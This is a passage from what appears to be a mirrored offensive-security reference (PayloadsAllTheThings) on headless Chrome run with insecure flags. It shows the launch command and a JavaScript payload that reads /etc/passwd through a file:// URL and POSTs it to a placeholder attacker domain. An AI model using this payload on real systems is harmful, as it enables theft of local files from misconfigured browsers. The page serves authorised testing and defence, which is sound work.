Headless Browser · passage 3 of 8

Insecure Flags

2 code blocks · Headless Browser/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

If the target is launched with the `--allow-file-access` option

google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir

Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.

<script>
  async function getFlag(){
    response = await fetch("file:///etc/passwd");
    flag = await response.text();
  fetch("https://[ATTACKER.DOMAIN.TLD]/", { method: "POST", body: flag})
  };
  getFlag();
</script>

Every one of the 8 is a mark on the map. Named now: 1 to 8, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-15. CVE List through 2026-11-15 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-15. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.